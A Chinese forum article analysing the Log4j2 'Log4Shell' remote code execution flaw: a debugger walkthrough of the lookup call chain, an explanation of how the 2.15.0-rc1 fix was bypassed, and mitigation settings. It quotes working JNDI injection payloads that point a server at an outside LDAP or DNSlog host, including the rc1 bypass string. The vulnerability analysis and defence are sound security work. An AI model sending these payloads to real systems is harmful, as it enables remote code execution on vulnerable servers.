2021年12月9日注定是个不平凡的日子,整个安全圈就像过年了一样,Log4j爆出了RCE漏洞,比之前Shiro、S2还要劲爆,堪称核弹级漏洞,百度、游戏我的世界、AirPods等相继沦陷,严重程度紧急程度不言而喻。这么严重的漏洞是如何产生的呢?
漏洞成因:
当日志信息中含有${
字符串时,程序会使用lookup
解析字符串导致产生注入漏洞。
lookup机制提供了一种在任意位置向Log4j配置添加值的方法,支持date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
这些协议,攻击者可以使用特定payload构造jndi协议,造成JNDI注入,进而造成RCE漏洞
代码分析:
使用唐小风的exp搭建一个demo,https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
1、给logger.error()打上断点,进行debug调试
2、点击下一步,进入到了error:AbstractLogger (org.apache.logging.log4j.spi)中
3、跟进logIfEnabled:AbstractLogger (org.apache.logging.log4j.spi)中
这里会调用isEnabled:Logger (org.apache.logging.log4j.core)判断logger的级别
如果满足要求,会进入 logMessage:AbstractLogger(org.apache.logging.log4j.spi)中
这里省略一些不重要的函数调用,直接进入log中
4、LoggerConfig:logEvent(org.apache.logging.log4j.core.config)
然后进入到 processLogEvent:LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppenders
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)中调用callAppender
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
中调用append
directEncodeEvent:197AbstractOutputStreamAppender(org.apache.logging.log4j.core.appender)中调用encode
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)中调用toSerializable
toSerializable:344,PatternLayout$PatternSerializer(org.apache.logging.log4j.core.layout)中调用format
5、我们跟进到format:60, LiteralPatternConverter (org.apache.logging.log4j.core.pattern)这里是第一个关键点,我们看以下代码
this.substitute = config != null && literal.contains("${");
this.substitute ? this.config.getStrSubstitutor().replace(event, this.literal) : this.literal
这是一个三元表达式,需要同时满足config不为空和result包含${
,才会运行 this.config.getStrSubstitutor().replace(event, result)
,所以payload中要有${
才可以
继续跟进到substitute:StrSubstitutor (org.apache.logging.log4j.core.lookup)
中,可以看到匹配一些特殊字符
如果字符串中有这些字符就进行删除,我们的payload就被处理为了jndi:ldap://h1glio.dnslog.cn/id
继续跟进
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
调用了 getVariableResolver:StrSubstitutor (org.apache.logging.log4j.core.lookup),该方法会根据协议来进行处理操作,支持协议有date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
然后跟进到 lookup: Interpolator (org.apache.logging.log4j.core.lookup)
程序匹配到来jndi,就会选用Jndi Lookup进行处理.JndiLookup允许通过JNDI检索变量,默认情况下, key的前缀为 java:comp/env /
,但如果key包含:
,则不会添加前缀
关于lookup详情,可参考文档https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
继续跟进,在 lookup:JndiManager (org.apache.logging.log4j.core.net)
lookup:56, 中会调用 jndiManager.lookup解析请求,最终形成注入漏洞.
Bypass rc1:
2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar,但是rc1存在被绕过的风险。
我们看下官方的rc2的修复包,对比rc1,我们看到是在catch下面加了return null。
其实rc1的绕过就在此处,想办法让其抛出URISyntaxException
异常,那么代码就能进入到catch中,然后就能像未修复之前,执行lookup。
查阅资料发现URI uri = new URI(name);
其实是将name转换为等效的 URI,任何 name实例只要遵守 RFC 2396 就可以转化为 URI,有些未严格遵守该规则的 name 将无法转化,就会抛出URISyntaxException
异常,所以我们使用${jndi:ldap://127.0.0.1:1389/ badClassName}
就可以绕过rc1,注意/
与badClassName
之间存在空格,空格的存在使得 name未遵守RFC 2396,就会抛出异常,进而执行lookup
。
应急方案:
可以使用waf等安全设备对${}样式的字符串进行匹配拦截;
在log4j2.ini配置中可以设置log4j2formatMsgNoLookups=True 禁止解析 JDNI;
系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true;
修改Jvm运行参数: -Dlog4j2.formatMsgNoLookups=true;
- 本文作者: 苏苏的五彩棒
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/966
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!